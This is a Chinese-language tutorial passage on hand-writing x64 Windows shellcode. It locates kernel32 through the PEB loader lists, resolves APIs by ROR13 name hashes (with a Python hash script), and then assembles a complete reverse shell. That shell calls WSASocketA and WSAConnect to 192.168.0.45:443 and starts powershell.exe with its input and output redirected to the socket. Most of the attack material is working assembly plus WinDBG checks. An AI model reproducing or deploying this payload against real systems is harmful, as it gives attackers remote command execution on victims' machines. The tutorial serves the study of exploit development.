[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MkQFfqhKKq8PKPVG-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MkQFfqhKKq8PKPVG-image.png)

打开 WinDBG，附加到 **python.exe** 进程

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/S6XVXBKw6C4XTwKE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/S6XVXBKw6C4XTwKE-image.png)

附加到 **python.exe** 进程上之后，让程序继续执行，回到脚本被执行的命令行，按下任意键，这样，我们就到了 Shellcode 的入口处。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/u7uDKGlqNIhp8o0N-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/u7uDKGlqNIhp8o0N-image.png)

### **通过 Syscall 调用的缺陷**  


我们在第 1 小节说过，syscall 提供从**用户空间**到**受保护内核**的接口，该接口允许访问用于 **I/O**、**线程同步**、**套接字管理等**的底层操作系统功能。syscall 允许用户模式的应用程序直接访问内核，同时确保它们不会损害操作系统。一般来说，任何 Shellcode 的目的都是执行不属于原始应用程序代码逻辑的任意操作。为此，Shellcode 使用**汇编指令**，在漏洞利用 (exploit) 劫持应用程序的执行流后调用系统调用。

**Windows NTAPI** 相当于 UNIX 操作系统上的**系统调用接口**，通过 **ntdll.dll** 库向用户模式应用程序公开，但微软有意地没有提供 NTAPI 用法的官方文档。因此，它为用户模式应用提供了一种以受控方式调用位于内核中的操作系统函数的方法。在大多数 UNIX 操作系统上，系统调用接口都有详细的文档记录，并且通常可供用户应用程序使用。相比之下，由于 NT 架构的性质，NTAPI 隐藏在更高级别的 API 后面，例如 NtCreateFile 隐藏在 CreateFile 后面。内核级函数通常由用于调用相应函数的 **SSN** 来标识，但在 Windows 上，这些 SSN 可能随着系统更新而发生变化。但在 Linux 系统上，这些调用编号是固定的并且不会改变。我们还应该记住，Windows 上 syscall 接口导出的功能集合相当有限，这意味着我们需要避免直接 syscall 来为 Windows 编写通用且可靠的 Shellcode。

不使用 syscall 的情况下，我们与内核直接通信的唯一选项是使用 **Windows API**，它由核心 DLL 文件导出，在运行时映射到进程的内存空间。如果 DLL 尚未加载到进程空间中，我们需要先加载它们并找到对应的导出函数，找到这些函数之后，我们就可以将它们作为 Shellcode 的一部分来调用，以执行特定的任务。**Kernel32.dll** 文件导出了可用于完成这 2 项任务的函数，并且该 DLL 一般都会被映射到进程的内存中。需要注意的是，考虑到 **ASLR** 等内存保护措施，以及**不同版本的操作系统**之间的差异，我们需要避免使用**硬编码函数地址**，以确保我们的 Shellcode 的适用性。

Kernel32.dll 中的 **LoadLibraryA** 函数可用于实现 DLL 的加载，GetModuleHandleA 可用于获取已加载 DLL 的基址，**GetProcAddress** 可用于根据提供的函数名得到函数的地址。但我们首先要获得 **LoadLibrary** 和 **GetProcAddress** 这 2 个函数的内存地址，也就是我们需要先找到 Kernel32.dll 的基址，然后从 Kernel32.dll 中获得这 2 个函数的地址。在这之后，我们就可以调用 LoadLibraryA 与 GetProcAddress 这 2 个函数获得任意 DLL 的基址与任意函数的地址。在此基础上，我们可以编写 Shellcode 实现例如逆向 Shell、正向 Shell、程序执行等目的了。

### **寻找 KERNEL32** 

因为我们并不会预先知道 LoadLibraryA 与 GetProcAddress 的地址，所以我们需要先定位到并解析加载到内存中的 Kernel32.dll。对于任何进程，Kernel32.dll 几乎是肯定会被加载的，因为它导出的函数对于大多数进程都是必须的。

为了找到 Kernel32 模块，在 **TEB** 的 **0x60** 处，访问到 **PEB** 的指针，对应的汇编代码如下：

```
mov rax, gs:[0x60]; # RAX为TEB中ProcessEnvironmentBlock成员的值，即PEB地址
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/UQxvGmITCHMh5Wdy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/UQxvGmITCHMh5Wdy-image.png)

在 PEB 的 **0x18** 处，访问到结构体 **\_PEB\_LDR\_DATA** 的指针：

```
mov rsi,[rax+0x18]; # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/8QpnFVRaj6goECm2-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/8QpnFVRaj6goECm2-image.png)

**\_PEB\_LDR\_DATA** 结构体包含了**所有模块的信息**。访问该 \_PEB\_LDR\_DATA 结构体，里面有多个成员，其中重要的是 3 个 **双向链表** (头)，分别是 **InLoadOrderModuleList**，**InMemoryOrderModuleList**，和 **InInitializationOrderModuleList**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/E9b2MzAmUObzqjCg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/E9b2MzAmUObzqjCg-image.png)

InLoadOrderModuleList 按**加载顺序**显示上一个和下一个模块，InMemoryOrderModuleList 按**内存放置顺序**显示，InInitializationOrderModuleList 按**初始化顺序**显示，因此获得任一链表的地址就足够了。

这 3 个双向链表都是 **\_LIST\_ENTRY** 类型的数据结构，每个条目都代表着**单个载入的模块**，每个条目有着 2 个成员 **Flink** 和 **Blink**，分别保存着**下一个**和**上一个**条目的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MwHzdw6UK4KATiUz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MwHzdw6UK4KATiUz-image.png)

我们可以选择任意一个双向链表，这里的话，我们保存 **InMemoryOrderModuleList** 的地址。

```
mov rsi,[rsi + 0x20]; # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/f4bn4i4GAt0xvqY1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/f4bn4i4GAt0xvqY1-image.png)

InMemoryOrderModuleList 当前条目的 Flink 的值为下一个条目的地址，Blink 的值为上一个条目的地址。这些条目与各条目的成员数值的关系如下图所示：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1bFw7ADTN4bUNmnV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1bFw7ADTN4bUNmnV-image.png)

我们还会发现，链表的当前条目是一个 **\_LDR\_DATA\_TABLE\_ENTRY** 结构体的指针。该结构体中 InMemoryOrderLinks 成员的偏移为 **0x10**。因此，当前条目的地址减去 0x10 字节便可访问到该结构体的基址：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lpr3Ll0QuxUzGyZI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lpr3Ll0QuxUzGyZI-image.png)

**LDR**、3 条 **\_LIST\_ENTRY 类型的链表**、以及 **\_LDR\_DATA\_TABLE\_ENTRY 结构体**这 3 者之间的关系如下：

```
PEB
|
|---> _PEB_LDR_DATA
      |
      |---> InLoadOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InMemoryOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InInitializationOrderModuleList (_LIST_ENTRY)
            |
            |---> _LDR_DATA_TABLE_ENTRY (module 1)
            |---> _LDR_DATA_TABLE_ENTRY (module 2)
            |---> ...

```

此外，我们可以在 \_LDR\_DATA\_TABLE\_ENTRY 结构体的 **0x30** 与 **0x58** 处分别得到当前模块的**基址**与**名称**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/9Hzf6b2071rwwaiO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/9Hzf6b2071rwwaiO-image.png)

总之，不管是使用 3 条链表中的哪条 (本小节以 InMemoryOrderLinks 为例)，当前条目对应着 1 个加载的模块，我们可以进而得到当前模块的基址和名称。在任一条目中，如果当前条目所对应的模块不是 Kernel32.dll，则通过 Flink 访问下一个模块

不过需要注意的是，**BaseDllName** 是 **\_UNICODE\_STRING** 类型的成员，字符串起始位置位于 **0x08** 处。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/9KJkIBVIeoAQZxvR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/9KJkIBVIeoAQZxvR-image.png)

回到汇编指令：

```
mov r9, [rsi + 0x20];  # R9 此时保存着当前模块的基址
mov rdi, [rsi + 0x50]; # RDI 保存着DllBaseName中的Buffer地址，即模块名称字符串的地址
mov rsi, [rsi]; # 获得下一个条目的地址
```

得到模块名称后，我们需要与 **"KERNEL32.DLL"** 对比，也就是一个字符串的比较。虽然在 Windows 文件系统中，是不区分大小写的，但**字符串的比较是区分**的。KERNEL32.DLL 被载入后的模块名可能为 **KERNEL32**，可能为 **kernel32**，甚至可能为 **Kernel32**。在不确定目标主机和进程中载入模块的名称大小写命名方案的情况下，我们可以设置自己的比较标准，例如字符串占用 24 字节 (共 12 个字符，因为是 Unicode 所以总计24 字节)、字符串整体完全比较等。但都有各自的弊端，如果比较长度，可能有其他的模块恰好也是12 个字符，如果比较整体字符串，大小写的排列组合比较难以预测。

因此，这里我给出个自己的比较标准：比较 **"ernel32."** 这个子字符串。虽然说我们不确定模块名称的大小写，但一般要么是 KERNEL32，要么是 Kernel32，要么是 kernel32。很少会出现 **kERNel** 这样的**大小写无规律混合**的情况。代码如下：

```
  add rdi, 2; # 跳过K字符
check_upper: # 如果"ERNEL32."是大写
  mov r12, 0x0045004E00520045; # Unicode字符串 "ENRE"
  mov r13, 0x002e00320033004c; # Unicode字符串 ".23L"
  mov rdx, qword ptr [rdi]; # 将字符串 "ERNEL32.DLL" 复制到RDX
  cmp rdx, r12; # 将前4个字符与"ENRE"比较
  jne check_lower; # 如果不相等，可能模块名为小写
  mov rdx, qword ptr [rdi + 8]; # 如果相等，继续比较，将".23L"复制到RDX
  cmp rdx, r13; # 将后4个字符与".23L"比较
  jne next_module; # 如果不相等，移动到下一个条目
  mov rax, r9; # 保存kernel32的基址
  ret;
check_lower: # 如果"ernel32."是小写
  mov r12, 0x0065006E00720065; # Unicode字符串 "enre"
  mov r13, 0x002e00320033006c; # Unicode字符串 ".23l"
  mov rdx, qword ptr [rdi];    
  cmp rdx, r12;    
  jne next_module; # 如果不相等，不会是大小写原因，直接进入下个条目
  mov rdx, qword ptr [rdi + 8];    
  cmp rdx, r13; 
  jne next_module; 
  mov rax, r9; 
  ret;
```

最终，我们能得到 KERNEL32.DLL 的基址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BBdZ1oPCE4ZlVVAy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BBdZ1oPCE4ZlVVAy-image.png)

### **定位所需 API**

得到 KERNEL32.DLL 的基址后，我们就能利用之前所学的 PE 结构的知识来获得 **LoadLibraryA** 与 **GetProcAddress** 函数的地址了。得到函数地址的方法有 2 种：**函数序数**以及**函数名称**。因为不同版本的相同 DLL 可能有所不同，因此导出函数列表也有所差异，硬编码函数序数是不够适用的，因此我们还是提供函数名称好了。这样的话，我们的步骤如下：

```
1：获得e_lfanew的值从而定位到NT头
2：获得导出目录的RVA以及VMA
3：获得函数名称的数量
4：遍历ENPT表获得函数名称的RVA以及函数名称字符串
5：在OT表中获得函数序数
6：在EAT表中获得函数RVA以及VMA
```

前 4 步对应的汇编指令如下：

```
parse_module: # 解析内存中的DLL文件
  mov ecx, dword ptr [r9 + 0x3c]; # R9保存着模块的基址，获取NT头偏移
  mov r15d, dword ptr [r9 + rcx + 0x88]; # 获取导出目录的RVA
  add r15, r9;    # R14保存着导出目录的VMA
  mov ecx, dword ptr [r15 + 0x18]; # ecx保存着函数名称的数量，作为索引值
  mov r14d, dword ptr [r15 + 0x20]; # 获得ENPT的RVA
  add r14, r9; # R14 保存着ENPT的VMA
search_function: # 搜索给定函数
  jrcxz not_found; # 如果RCX为0，那么没找到给定函数
  dec ecx; # 索引减少1
  xor rsi, rsi;
  mov esi, [r14 + rcx*4]; # 函数名称字符串的RVA
  add rsi, r9; # RSI 指向函数名称字符串
```

不过，相比使用函数名称，对比**函数名称的哈希**会更加方便。并且，哈希算法不需要十分复杂，即便可能存在哈希碰撞的问题也无妨，只要任意 2 个函数名的哈希值不同即可。

哈希函数名的 Python 脚本如下：

```python
#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))
    
    
if __name__ == '__main__':
    try:
        rsi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()
    # Initialize variables
    rdx = 0x00
    ror_count = 0
    for rax in rsi:
        rdx = rdx + ord(rax)
        if ror_count < len(rsi)-1:
            rdx = ror_str(rdx, 0xd)
        ror_count += 1
    print(hex(rdx))
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/LJraSXPUOJaFASNe-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/LJraSXPUOJaFASNe-image.png)

对应的代码如下：

```
start:
  sub rsp, 0x20; # 函数序言
  call find_kernel32;
  add rsp, 0x20; # 函数尾声
  mov rbp, rax; # RBP保存Kernel32.dll基址
  mov r8d, 0xec0e4e8e; # LoadLibraryA哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索 LoadLibraryA函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r12, rax;
  mov r8d, 0x7c0dfcaa; # GetProcAddress哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索GetProcAddress函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r13, rax;    
............
function_hashing: # 哈希函数名函数
  xor rax, rax; 
  xor rdx, rdx;
  cld; # 清除DF标志位
iteration: # 迭代每个字节
  lodsb; # RSI的下一个字节拷贝给Al
  test al, al; # 如果到达字符串末尾
  jz compare_hash; # 比较哈希
  ror edx, 0x0d; # 哈希算法部分
  add edx, eax; # 哈希算法部分
  jmp iteration; # 下一个字节
compare_hash: # 比较哈希
  cmp edx, r8d;
  jnz search_function; # 如果不等，搜索前一个函数 (索引由大变小)
  mov r10d, [r15 + 0x24]; # 序数表RVA
  add r10, r9; # 序数表VMA
  movzx ecx, word ptr [r10 + 2*rcx]; # 函数序数值 -1
  mov r11d, [r15 + 0x1c]; # EAT的RVA
  add r11, r9; # EAT的VNA
  mov eax, [r11 + 4*rcx]; # RAX保存函数RVA
  add rax, r9; # RAX保存着函数VMA
  ret;
not_found:"
  ret;
```

成功得到函数的地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/VQ9V2OpvWyuIU9C5-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/VQ9V2OpvWyuIU9C5-image.png)

在下一小节，我们将讨论如何调用 API 并对最初的完整 Shellcode 进行优化。

# Shellcode 编写 - 2

### **调用 API**

为了能实现反向 Shell，我们需要 3 个来自 **ws2\_32.dll** 中的 函数，分别是 **WSAStartup**，**WSASocketA**，和 **WSAConnect**。以及来自 kernel32.dll 中的 **CreateProcessA** 函数。因为我们已经得到了 **LoadLibraryA** 的地址，因此获得 ws2\_32.dll 的基址也很容易。

```
load_module:
   mov rax, 0x6c6c;   # 将字符串 "ll" 保存至RAX
   push rax;    # 字符串入栈
   mov rax, 0x642E32335F325357;     # 将字符串"WS2_32.D"保存至RAX
   push rax;    # 字符串入栈
   mov rcx, rsp;      # RCX指向"ws2_32.dll\0"字符串
   sub rsp, 0x20;     # 函数序言
   mov rax, r12;      # RAX为LoadLibraryA地址
   call rax;          # LoadLibraryA("ws2_32.dll")
   add rsp, 0x20;     # 函数尾声
   add rsp, 0x10;     # 清理 "ws2_32.dll"字符串所占用的栈空间
   mov r14, rax;      # R14保存了ws2_32.dll的基址
```

于是，我们获得了 ws2\_32 模块的基址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ORgW9bDSHEXS8497-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ORgW9bDSHEXS8497-image.png)

我们之前说过，**Windows x64 fastcall 的调用**分别将函数参数存储在 **RCX**，**RDX**，**R8**，**R9**，以及**栈空间** (如果多于 **4 个参数**)。尽管前 4 个参数存储于寄存器，但因为**参数归位**，我们至少需要为栈腾出 **0x20** 的空间。如果参数更多，那么也相应的增加。如果不是很自信需要腾出多大的空间，宁可多分配一些。

**但是，请确保栈满足 16 字节对齐！**也就是 RSP 的值一般是以 0 结尾。这里，RSP 是以 8 结尾，不满足 16 字节对齐，出现了这样的报错：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/j1aFGOtKg1XceP6b-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/j1aFGOtKg1XceP6b-image.png)

有的函数参数为结构较为复杂的结构体，我们需要在栈上为其腾出足够的空间，并将结构体的地址作为参数。

```
sub rsp, 0x200; # 给结构体参数腾出足够空间，不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数
```

##### **WSAStartup**  


首先要调用的是 **WSAStartup** 函数用于**初始化 Winsock DLL 的使用**。WSAStartup 函数原型如下：

```c++
int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);
```

我们需要传递 2 个参数，其中 **wVersionRequired** 值为 **0x202**，第 2 个参数 **lpWSAData** 为结构体类型指针，WSAStartup 调用结束后该参数会被填充，因此我们目前只要给其预留足够空间即可。

```
call_wsastartup:
   mov r9, rax; # R9保存了ws2_32.dll的基址
   mov r8d, 0x3bfcedcb; # WSAStartup的哈希
   mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
   call parse_module; #搜索并获得WSAStartup的函数地址
   xor rcx, rcx;
   mov cx, 0x198;    
   sub rsp, rcx; # 预留足够空间给lpWSDATA结构体   
   lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
   mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
   sub rsp, 0x28; #函数序言
   call rax; # 调用WSAStartup
   add rsp, 0x28; # 函数尾声
```

函数返回值为 0，说明调用成功。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6zKAY5jE0SBGnGMT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6zKAY5jE0SBGnGMT-image.png)

##### **WSASocketA**

接下来，我们需要调用 **WSASocketA** 函数来**创建套接字**。WSASocketA 函数原型如下：

```c++
SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);
```

共有 6 个参数，其中 **af** 为 **2**，**type** 为 **1**，**protocol** 我 **6**，剩余参数皆为 0。因为有 6 个参数，第 5 个参数开始保存在栈上。函数的返回类型为 socket。

```
call_wsasocket:
   mov r9, rbx;  
   mov r8d, 0xadf509d9; # WSASocketA函数哈希
   call parse_module; # 获得WSASocketA函数地址
   sub rsp, 0x38; # 函数序言
   mov rcx, 2; # af为2作为第1个参数
   mov rdx, 1; # type为1作为第2个参数
   mov r8, 6; # protocol为6作为第3个参数
   xor r9, r9; # lpProtocolInfo为0作为第4个参数
   mov [rsp+0x20], r9; # g为0作为第5个参数，保存在栈上
   mov [rsp+0x28], r9; # dwFlags为0作为第6个参数，保存在栈上
   call rax; # 调用 WSASocketA函数
   mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
   add rsp, 0x38; # 函数尾声
```

返回的描述符值为 0x230 (返回值可能有所不同)，保存在 RAX 中。我们需要备份一下该返回值，因为后续会用到，而且 RAX 存储的值很容易被覆盖。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BoRbQ6iyltmUTkjK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BoRbQ6iyltmUTkjK-image.png)

##### **WSAConnect**

接着，我们需要调用 **WSAConnect** 函数来**建立两个套接字应用之间的连接**。函数原型如下：

```c++
int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);
```

该函数需要 **7** 个参数，其中第 1 个参数为 **WSASocketA 的返回值**，第 2 个参数为结构体 **sockaddr 指针**，第 3 个参数为 **sockaddr 结构体的尺寸**，应当为 **0x16**。

其中，**sockaddr 结构体**如下：

```c++
typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;
```

**sin\_family** 值永远为 **AF\_INET**，用整数表示为 **2**。**sin\_port** 和 **sin\_addr** 分别为**端口**和 **IP 地址**，**sin\_zero** 设置为 0 即可。

```
 call_wsaconnect:
   mov r9, rbx;
   mov r8d, 0xb32dba0c; # WSAConnect哈希
   call parse_module; # 获得WSAConnect地址
   sub rsp, 0x20; # 为socketaddr结构体分配足够空间
   mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
   mov rdx, 2; # sin_family成员设置为AF_INET，即2
   mov [rsp], rdx; # 存储socketaddr结构体
   mov rdx, 0xbb01; # 端口设置为443
   mov [rsp+2], rdx; # 将端口值传递给socketaddr结构体中的对应位置
   mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
   mov [rsp+4], rdx; # 将IP传递给sockaddr结构体中的对应位置
   lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
   mov r8, 0x16; # 设置namelen成员为0x16
   xor r9, r9; # lpCallerData为0作为第4个参数
   sub rsp, 0x38; # 函数序言
   mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
   mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
   mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
   call rax; # 调用WSAConnect
   add rsp, 0x38; # 函数尾声
```

调用函数前，查看 RDX 中存储的参数，也就是 sockaddr 结构体地址，各个成员赋值均有效。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Ynyz1sHwSRSMJgTL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Ynyz1sHwSRSMJgTL-image.png)

函数返回 0，说明调用成功，并且我们的 netcat 监听器也收到了连接。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/zQGZGfVHG9Eg6GYk-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/zQGZGfVHG9Eg6GYk-image.png)

##### **CreateProcessA**

最后，我们需要使用 **CreateProcessA** 函数创建 **cmd.exe** 或 **powershell.exe** 进程并且重定向输入输出至初始化的连接中。函数原型如下：

```c++
BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
```

共有 **10** 个参数，**lpApplicationName** 表示应用名称，**lpCommandLine** 为命令行参数，这 2 个参数**不能都为空**，这里我们设置 lpCommandLine 为 "powershell.exe"。**bInheritHandles** 值为 **1**。

**lpStartupInfo** 为结构体类型指针，我们需要依次给各个结构体成员赋值并且将结构体的地址作为第 **9** 个参数。**lpProcessInformation** 也是结构体类型指针，但我们并不需要对该结构体成员赋值，而是在函数调用后被填充，因此我们只需要将其地址作为第 **10** 个参数。

我们先来看 **STARTINFO** 结构体，如下是微软文档中给出的结构信息：

```c++
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
```

但在内存中，成员的尺寸与微软文档中的有所不同：

```c++
0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void

```

不过这并没有关系，我们需要指定的只有成员 **cb**、**dwFlags**、以及**最后 3 个成员**，其他成员都被赋值 0，因此我们不需要在意其他成员的数据尺寸。**cb** 值为结构体尺寸，应当设置为 **0x68**。**dwFlags** 这里设置为 **0x100**，**hStdInput**、**hStdOutput**、**hStdError** 的值都为 **WSASocketA 的返回值**。

```
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
```

接下来，依次给 CreateProcessA 的第 1 至第 8 个参数赋值，最终调用 CreateProcessA 部分代码如下：

```
 call_createprocess:
   mov r9, rbp; # R9为Kernel32.dll基址
   mov r8d, 0x16b3fe72; # CreateProcessA哈希
   call parse_module; # 获取CreateProcessA地址
   mov rdx, 0x6578652e6c6c; # 字符串"exe.ll"
   push rdx;
   mov rdx, 0x6568737265776f70; # 字符串"ehsrewop"
   push rdx; # "powershell.exe"字符串入栈
   mov rcx, rsp; # 指向"powershell.exe"的指针保存在RCX寄存器中
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0，不必在乎成员具体数据尺寸，总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x20; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
   xor rdx, rdx;
   push rdx; # lpCurrentDirectory值为0作为第8个参数
   push rdx; # lpEnvironment值为0作为第7个参数
   push rdx; # dwCreationFlags值为0作为第6个参数
   inc rdx;
   push rdx; # bInheritHandles值为1作为第5个参数
   xor rdx, rdx;
   push rdx; # 为函数归位区域(第4个参数)预留空间
   push rdx; # 为函数归位区域(第3个参数)预留空间
   push rdx; # 为函数归位区域(第2个参数)预留空间
   push rdx; # 为函数归位区域(第1个参数)预留空间
   mov rdx, rcx; # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
   xor rcx, rcx; # 因为lpCommandLine已经赋值，lpApplicationName可为空
   mov r8, rcx; # lpProcessAttributes值为0作为第3个参数
   mov r9, rcx; # lpThreatAttributes值为0作为第4个参数
   call rax;
```

参数赋值一切正常：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/LrCfdTTgexmzhv1S-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/LrCfdTTgexmzhv1S-image.png)

最终，我们成功获得了逆向 Shell：

